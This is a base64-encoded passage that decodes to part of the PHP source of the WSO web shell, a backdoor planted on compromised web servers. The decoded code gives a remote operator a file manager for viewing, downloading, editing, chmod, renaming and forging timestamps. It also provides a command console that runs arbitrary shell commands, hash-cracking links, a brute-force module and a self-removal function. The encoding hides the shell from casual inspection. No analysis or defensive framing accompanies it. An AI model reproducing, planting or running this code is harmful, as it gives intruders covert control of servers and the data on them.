zAnIHdpZHRoPSc1MCUnPg0KCQkJPHRyPjx0ZCB3aWR0aD0nMSUnPlRleFQ6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RleHQnIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPnBBdEg6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2N3ZCcgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+bkFtRTo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZW5hbWUnIHZhbHVlPScqJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj4NCgkJCTwvdGFibGU+PC9mb3JtPiI7DQoNCglmdW5jdGlvbiB3c29SZWN1cnNpdmVHbG9iKCRwYXRoKSB7DQoJCWlmKHN1YnN0cigkcGF0aCwgLTEpICE9ICcvJykNCgkJCSRwYXRoLj0nLyc7DQoJCSRwYXRocyA9IEBhcnJheV91bmlxdWUoQGFycmF5X21lcmdlKEBnbG9iKCRwYXRoLiRfUE9TVFsncDMnXSksIEBnbG9iKCRwYXRoLicqJywgR0xPQl9PTkxZRElSKSkpOw0KCQlpZihpc19hcnJheSgkcGF0aHMpJiZAY291bnQoJHBhdGhzKSkgew0KCQkJZm9yZWFjaCgkcGF0aHMgYXMgJGl0ZW0pIHsNCgkJCQlpZihAaXNfZGlyKCRpdGVtKSl7DQoJCQkJCWlmKCRwYXRoIT0kaXRlbSkNCgkJCQkJCXdzb1JlY3Vyc2l2ZUdsb2IoJGl0ZW0pOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWlmKGVtcHR5KCRfUE9TVFsncDInXSkgfHwgQHN0cnBvcyhmaWxlX2dldF9jb250ZW50cygkaXRlbSksICRfUE9TVFsncDInXSkhPT1mYWxzZSkNCgkJCQkJCWVjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsbnVsbCxcIiIudXJsZW5jb2RlKCRpdGVtKS4iXCIsIFwidmlld1wiLFwiXCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiI8L2E+PGJyPiI7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCWlmKEAkX1BPU1RbJ3AzJ10pDQoJCXdzb1JlY3Vyc2l2ZUdsb2IoJF9QT1NUWydjJ10pOw0KCWVjaG8gIjwvZGl2Pjxicj48aDE+c0VBcmNIIGYwUiBoQXNIOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBuYW1lPSdoZic+DQoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naGFzaCcgc3R5bGU9J3dpZHRoOjIwMHB4Oyc+PGJyPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0JyB2YWx1ZT0nZmluZCcvPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFja2luZy5ydScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcucnUvaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtZDUucmVkbm9pemUuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vbWQ1LnJlZG5vaXplLmNvbS8/cT0nK2RvY3VtZW50LmhmLmhhc2gudmFsdWUrJyZzPW1kNSc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nY3JhY2tmb3IubWUnIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9jcmFja2Zvci5tZS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQk8L2Zvcm0+PC9kaXY+IjsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpIHsNCglpZiggaXNzZXQoJF9QT1NUWydwMSddKSApDQoJCSRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOw0KCWlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsNCgkJaWYoQGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgew0KCQkJb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOw0KCQkJaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOw0KCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgew0KCQkJCSR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7DQoJCQkJaGVhZGVyKCJDb250ZW50LVR5cGU6ICIgLiAkdHlwZSk7DQoJCQl9IGVsc2UNCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOw0KCQkJaWYoJGZwKSB7DQoJCQkJd2hpbGUoIUBmZW9mKCRmcCkpDQoJCQkJCWVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7DQoJCQkJZmNsb3NlKCRmcCk7DQoJCQl9DQoJCX1leGl0Ow0KCX0NCglpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsNCgkJaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7DQoJCQlpZigkZnApIHsNCgkJCQkkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7DQoJCQkJZmNsb3NlKCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJd3NvSGVhZGVyKCk7DQoJZWNobyAnPGgxPmZpTEUgdDAwTHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7DQoJCWVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7DQoJCXdzb0Zvb3RlcigpOw0KCQlyZXR1cm47DQoJfQ0KCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsNCglpZighJHVpZCkgew0KCQkkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7DQoJCSRnaWRbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKTsNCgl9IGVsc2UgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpOw0KCWVjaG8gJzxzcGFuPm5BbUU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+c2laZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT93c29WaWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+cEVSTWlzU2lvTnM6PC9zcGFuPiAnLndzb1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPjB3TmVSL2dyT3VQOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7DQoJZWNobyAnPHNwYW4+Y1JFQVRlIFRpTWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY0NFc1MgVGlNZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vRGlGeSBUaU1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7DQoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQ0KCQkkX1BPU1RbJ3AyJ10gPSAndmlldyc7DQoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApDQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCgllbHNlDQoJCSRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOw0KCWZvcmVhY2goJG0gYXMgJHYpDQoJCWVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOw0KCWVjaG8gJzxicj48YnI+JzsNCglzd2l0Y2goJF9QT1NUWydwMiddKSB7DQoJCWNhc2UgJ3ZpZXcnOg0KCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvcHJlPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGlnaGxpZ2h0JzoNCgkJCWlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsNCgkJCQllY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7DQoJCQkJJGNvZGUgPSBAaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydWUpOw0KCQkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7DQoJCQl9DQoJCQlicmVhazsNCgkJY2FzZSAnY2htb2QnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSRwZXJtcyA9IDA7DQoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkNCgkJCQkJJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsNCgkJCQlpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkNCgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ2VkaXQnOg0KCQkJaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7DQoJCQkJZWNobyAnRmlsZSBpc25cJ3Qgd3JpdGVhYmxlJzsNCgkJCQlicmVhazsNCgkJCX0NCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKTsNCgkJCQkkX1BPU1RbJ3AzJ10gPSBzdWJzdHIoJF9QT1NUWydwMyddLDEpOw0KCQkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sInciKTsNCgkJCQlpZigkZnApIHsNCgkJCQkJQGZ3cml0ZSgkZnAsJF9QT1NUWydwMyddKTsNCgkJCQkJQGZjbG9zZSgkZnApOw0KCQkJCQllY2hvICdTYXZlZCE8YnI+PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+JzsNCgkJCQkJQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsXCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGV4ZHVtcCc6DQoJCQkkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbGVuID0gc3RybGVuKCRjKTsNCgkJCWZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgew0KCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7DQoJCQkJc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7DQoJCQkJCWNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJaWYgKCRuID09IDMyKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30NCgkJCQkJJGhbMV0gLj0gJzxicj4nOw0KCQkJCQkkaFsyXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQllY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMjIyMj48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7DQoJCQlicmVhazsNCgkJY2FzZSAncmVuYW1lJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQlpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpDQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7DQoJCQkJZWxzZQ0KCQkJCQlkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsNCgkJCX0NCgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ3RvdWNoJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOw0KCQkJCWlmKCR0aW1lKSB7DQoJCQkJCWlmKCF0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKQ0KCQkJCQkJZWNobyAnRmFpbCEnOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICdUb3VjaGVkISc7DQoJCQkJfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgl9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsNCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgew0KICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnLCB0cnVlKTsNCiAgICAgICAgJF9QT1NUWydwMSddIC49ICcgMj4mMSc7DQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpDQogICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCcsIDApOw0KDQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCVdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOw0KCQlvYl9zdGFydCgpOw0KCQllY2hvICJkLmNmLmNtZC52YWx1ZT0nJztcbiI7DQoJCSR0ZW1wID0gQGljb252KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSwiXG5cclx0XFwnXDAiKSk7DQoJCWlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkJew0KCQkJaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsNCgkJCQkkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7DQoJCQkJZWNobyAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7DQoJCQl9DQoJCX0NCgkJZWNobyAiZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7DQoJCWVjaG8gImQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOw0KCQkkdGVtcCA9IG9iX2dldF9jbGVhbigpOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0Ow0KCX0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQlXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCAwKTsNCgl3c29IZWFkZXIoKTsNCiAgICBlY2hvICI8c2NyaXB0Pg0KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsNCnZhciBjbWRzID0gbmV3IEFycmF5KCcnKTsNCnZhciBjdXIgPSAwOw0KZnVuY3Rpb24ga3AoZSkgew0KCXZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOw0KCWlmKG4gPT0gMzgpIHsNCgkJY3VyLS07DQoJCWlmKGN1cj49MCkNCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsNCgkJZWxzZQ0KCQkJY3VyKys7DQoJfSBlbHNlIGlmKG4gPT0gNDApIHsNCgkJY3VyKys7DQoJCWlmKGN1ciA8IGNtZHMubGVuZ3RoKQ0KCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KCQllbHNlDQoJCQljdXItLTsNCgl9DQp9DQpmdW5jdGlvbiBhZGQoY21kKSB7DQoJY21kcy5wb3AoKTsNCgljbWRzLnB1c2goY21kKTsNCgljbWRzLnB1c2goJycpOw0KCWN1ciA9IGNtZHMubGVuZ3RoLTE7DQp9DQo8L3NjcmlwdD4iOw0KCWVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZC5jZi5vdXRwdXQudmFsdWU9XCdcJztkLmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsNCglmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsNCgkJaWYoJHYgPT0gJycpIHsNCgkJCWVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsNCgkJCWNvbnRpbnVlOw0KCQl9DQoJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsNCgl9DQoJDQoJZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFzLnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30iIHZhbHVlPSI+PiI+IDxub2JyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8JF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSk7DQoJfQ0KCWVjaG8gJzwvdGV4dGFyZWE+PHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICNkZjU7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlci10b3A6MHB4OyIgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHdpZHRoPSIxJSI+JDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+JzsNCgllY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsNCiAgICBzZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICcnLCB0aW1lKCkgLSAzNjAwKTsNCglkaWUoJ2J5ZSEnKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsNCg0KCWlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykNCgkJaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOw0KCQllbHNlDQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsNCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpDQogICAgICAgIHdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5zVWlDSWRFPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+ckVhTEx5IHdBblQgdDAgckVtb3ZFIHNIM0xMPyE8YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj55RXM8L2E+PC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsNCgl3c29IZWFkZXIoKTsNCglpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsNCgkJZWNo